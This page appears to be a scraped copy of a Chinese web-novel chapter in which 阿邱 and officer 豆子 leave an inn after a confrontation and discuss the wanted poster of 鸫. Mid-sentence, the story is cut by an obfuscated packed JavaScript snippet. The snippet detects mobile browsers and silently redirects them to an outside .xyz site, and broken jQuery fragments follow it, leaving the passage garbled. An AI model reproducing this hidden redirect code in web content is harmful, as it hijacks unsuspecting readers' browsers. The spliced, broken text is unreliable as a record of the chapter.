默认冷灰
24号文字
方正启体

11. 第九章 活在梦里

作者:免不了本书字数:K更新时间:
    众所周知,火药都发明五十多年了,冷兵器却仍是角斗士的浪漫,原因在于,有了魔法加持,只要运用得当,它们的杀伤力就会远远凌驾于枪炮之上。


    等不到答复,豆子手腕一转,以重重戳进地面的锏为圆心,激出了一个不断向外扩张的力场,运用100%得当,于是他身前的敌人、身后的(自认为是)队友齐齐被推开了一小段距离。


    任谁来看都会觉得,一场硬仗一触即发。


    可是阿邱希望诸位都冷静一下:干嘛这么着急上火的呀?一般而言,双方谈判破裂了才会动用武力,她觉得目前的状况还没到谈判破裂的程度吧,更何况比起正面冲突,不是还有暗杀这个选项吗?


    ……不是在挑剔作案手法。就像一出戏剧分为起承转合四个阶段,谈不拢和打架之间还有很长很长一段路要走呢,豆子警官竟一点程序正义意识都没有,照直把剧情推向了不可逆的高潮。


    阿邱没别的优点,万不得已时还剩一身的蛮力,在对面也亮兵器前飞扑上去,一把抱住了豆子的胳膊:“等下等下,我们知识分子不打架!”


    她这记野猪冲撞来得突然,豆子差点用脸庞亲吻大地。


    队友惨遭背刺,对手们得到的却是道歉:“对不住了各位,他今天咖啡因有点过量,你们忙、你们忙,我们自行离开——”


    回过神来,豆子已被她拖到了礼品店门口。


    “没追出来吧?”阿邱气喘吁吁地松开手,把剑柄还给他,“好吓人啊,一提到克洛诺斯,脸色‘刷’地就变了……”


    “好吓人”形容的居然不是那堵人墙。


    一节节魔法造物“咔哒哒”地收回去,豆子运了好一会气才开口:“谁跟你知识分子了?”


    看他没有杀个回马枪的打算,阿邱稍感放心,学着督学的样子,叉着腰训起人来:“怎么,我不拉着点你,你还真想上去干架啊?出门在外,你代表的不仅仅是你自己,还有学校……不是,终止式的脸面,知道了吗!”


    ——其实她也不懂自己说的这些话有什么意义,但文法学校的学生们听到类似的批评后,通常都会露出十分懊悔的表情。


    然而这条规律显然不适用于职场成年人豆子警官。


    “谁说我要干架了?”他手掌带风地把剑柄推进外套,合拢衣领时,阿邱注意到那里面还藏着另一道寒光。


    “那你没事掏把武器出来?”


    “威慑而已,你怂什么?”


    “我才不信你只是威慑一下……”要不是她拦着,食人花恐怕就要上去吃人了!


    “我管你信不信。”


    “……反正,我们不能再回那家旅店了。”


    “你的事,随你便。”


    豆子气冲冲地往广场方向走,阿邱生怕他再也不理人了,追上去连哄带骗的:“哎呀,你也别发那么大火嘛,我听得出来他们不是瞧不起克洛诺斯先生,你就当他们是——他们是脸谱化的坏蛋、第一幕出场的杂鱼反派!这种角色的性格就是逮谁咬谁,在小镇守着祖产过了一辈子,只有聚众排外才能带给他们一丝优越感,反正一整出戏只用上台一次,给主人公制造完了困难就卸妆退场了……”


    当然,还有一个不容忽视的因素——是人都觉得社会新人更好拿捏,端看他的道德允不允许。


    豆子睨她一眼:“你倒把人物设定做全乎了。”


    “嘿嘿,戏剧源于生活嘛!出门在外还有一点需要注意的:不要轻易和陌生人干架。”这句就是阿邱的经验之谈了,“尤其是在你的实力更强的情况下……”


    听此话,豆子神色稍霁,眼中怒火褪去,换上“你以为这样讲我就会高兴吗?”的无声质问。


    “而且而且,被你这么一搞,就算老板勉强同意我入住,心里肯定也是咽不下这口气的。你想,万一他气不过,半夜爬起来在我的毛巾、饭菜、漱口杯里下毒可怎么办?”


    豆子没有反驳,浑身的煞气也正在慢慢往回收。不过,就连阿邱都感觉得出来,他并不是被说服了,而是察觉到没有施展的必要了。


    这样才算警报彻底解除啦。阿邱紧紧攥着行李袋的手跟着卸了力,分出一只拍拍他的背道:“吃一堑长一智,希望你以后能注意自己的言行,冲动是魔鬼啊!”


    豆子冷笑:“话都给你说完了。”


    他一点也不介意把天聊死,而阿邱也不介意他把天聊死。因为从这件事上看得出,她的为人处世可比堂堂豆子警官成熟多了,此刻正沉浸在隐秘的骄傲和自豪中,谁也不能打扰。


    被羞辱、被扫地出门的确值得生气,但她心态好,可以选择不生气,救世主就该有这样的格局!为了成为大家的英雄、为了greatergood,吃点小苦头算得了什么?


    唯一比较可惜的是,兵器亮得太早,没来得及跟老板打听近期有没有较为引人注目的外来者出现……


    ……


    ……


    又在望着天发呆了,这位女士。


    豆子用余光观察着邱小姐。


    他还以为她要哭了,就像刚见面时那样。可她现在情绪良好,不知道想到了什么,一边本能地紧紧跟着他走,一边用出窍的灵魂兀自发出呵呵的傻笑——脑子多少有点病,就是忽视出身,这种人也还是少惹为妙。


    再这样下去,她就要跟着自己走回指挥处了。为预防克洛诺斯的碎嘴子,豆子深吸一口气,破天荒地主动跟她搭话了:“你的恰比镇长真是太不靠谱了。”


    “说明他不是我的恰比镇长。”邱小姐立即回话了,看来这个沉浸式傻笑也并没有很沉浸。


    马上她又反应过来:“不对,他是恰克镇长!你……你是在跟我讲笑话吗?原来你——不行,太生硬了,好难笑。你等我一下。”


    邱小姐忽然立正站好,“嘶——”地吸了一大口气,胸膛都抬到了肩膀以上,等肺部满到不能再满时,像气球炸裂一样,爆发出了一串闹耳朵的大笑声。


    扯着嗓子笑完了,她揪住豆子的衣袖道:“但我愿意为了你笑出声!所以我们现在算是朋友了吗?”


    “我不跟傻子交朋友。”


    “那好吧。”她讪讪收回了手。


    这么容易就放弃了?那你的诚意还怪有弹性的。


    豆子不跟傻子交朋友,但也不会无端欺负傻子,又领着她走出一段路后,回头道:“我先送你回戍卫队的招待所?”


    邱小姐皱起鼻子:“他们肯继续收留我才有鬼了。”


    看,傻子都懂的道理,克洛诺斯怎能不懂。


    “要不你跟我回指挥处,我们楼上还有一间——不,半间空出来的卧室。”豆子揣摩着领导的心思,好心提议道,“前提是你能接受跟我共用一间浴室。”


    “不能接受。”阿邱张口就是拒绝。


    同时也心酸地再次确认——豆子警官的地位真的好低呀!如果她还没点眼力见、觍个脸侵占了豆子的半间卧室,那他的生活环境岂不是更糟糕了吗?这还没跟终止式搭上线就开始欠人情了,她才不要。


    在脑袋里跑完这些债务问题,阿邱才想起来要注意礼仪:“……但是谢谢你的好意。”


    看得出来豆子很努力地忍住了一个白眼。


    阿邱有些尴尬,没话找话道:“你们单位真的一个女生都没有吗?”


    “没有。”


    阿邱毫无凭据地在心里下了定论:那完了,贵单位肯定不会长久的。


    还是想想接下来该


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052057|179075||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么办吧。依老板所言再去街上找找旅店?就是捡漏,估计也早被接受拼房的游客捡完了。实在不行,郊外还有露营地,要是露营地也满了……睡大街也不失为一种有趣的人生体验。


    心绪不宁时,看看美貌的男人或许能抚平焦躁。阿邱在二手市场把衣服里的宝贝全都丢进了行李袋里,通缉令的复印件却还留在胸口处的内袋,此处没有浪里白条,她就把这张纸拿出来、小心翼翼地展开,逃避式地欣赏了起来。


    人类的理性何其精妙啊,一小时不到,就帮她做到了看着鸫14岁的样子想象他20岁的样子。书上说过,幼态圆润好欺负是魔族才有的审美,那么按照人类的审美,现在的鸫应该变得高大威猛、有棱有角、性格也温润如玉了吧——简而言之,跟豆子警官的每一颗毛孔都形成反义词。


    豆子不愿意跟阿邱交朋友,肯定不是……不全是阿邱自己的问题,也有他本身性格就很冷漠的因素在!虽说大家都不怎么喜欢阿邱……好吧,不讨厌她就谢天谢地了——这可不是调律师挂在嘴边的习得性无助,这是危机意识,无缘无故对她好还不求任何回报的人,通常都是有点图谋,就像克洛诺斯,谁知道他的笑容之下藏着什么坏呢!那阿邱自然也不是吃素的,她表面上笑脸相迎,背地里还在马不停蹄地磨杀驴刀呐,怕了吗,锃锃锃……


    为了缓解心中不安,阿邱开口向一张不会动的画像祈祷:“鸫,你会保佑我的吧?”


    “他还没死呢。”


    看,刚才说什么来着,豆子的性格真的大有问题,连这种字眼上的瑕疵也值得他生气。


    豆子当然生气了。


    作为所谓十字城邦的“守护者”,他希望公民也能有点起码的自我防范意识,不要总是理所当然地及时行乐,平时就知道躺着睡大觉,出了事才哭着喊着来找他们擦屁股。


    就像邱小姐,房子没得住也毫不在意,只知道死命盯着那张复印件看,像是要把它吃进眼睛里。真是怕了这群和平年代的末日狂欢者,丢根火柴进去就能群魔乱舞地烧它个三天三夜。


    他实在搞不懂为什么,见过鸫这张脸的人都跟着了魔似的。老话说红颜薄命,老话又说自古红颜多祸水,入魔者当然不知道漂亮的皮囊会给当事人带来多少麻烦,最常见的一个例子:越是被外表迷住,越是容易色衰爱弛;可衰老与死亡明明是人类永恒的结局,他们不是不知道,却偏要逆天而行,最后当然是落得一无所有。


    这样的故事曾在豆子身边上演过无数次:他认识一个年轻时做地下美术馆生意的老人——在洱鸾大陆,没人敢公开发表美术作品,这是因为创作它们的过程涉嫌滥用赋格魔法,绝大多数人都骄傲自豪地嗤之以鼻,主动避开了这项肮脏的活动。


    可总有些小众群体有这方面的需求——无论是展示还是接受,老人的工作就是暗中牵线帮他们互相满足。他的妻子是个远近闻名的美人,一生为这个异类自私鬼操劳奔波,晚年干不动了,罹患不治之症,卧病在床奄奄一息。老人无法接受现实,那个年代还没有记忆提取显像术这种鬼东西,于是他找到画家朋友定制了画像,纤毫毕现地复刻了妻子春秋鼎盛时的美貌。


    从那之后,老人每天的活动只剩入魔地盯着画像看,行也看,坐也看;吃饭放对面、睡觉放床头,当着身边尚在苟延残喘的妻子,无时无刻不在缅怀她的美貌,也缅怀自己逝去的青春。结局想也知道,妻子没能从自己的画像手上夺回丈夫,弥留之际,竟连他的最后一面都没见上。


    双眼永恒地注释着画像,就看不到真实存在的人了,这是对死亡的不承认。邱小姐的种种行为表明,她追求永恒、拒绝承认死亡,现在豆子可以断言了——和克洛诺斯一样,她也是个活在梦里的人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)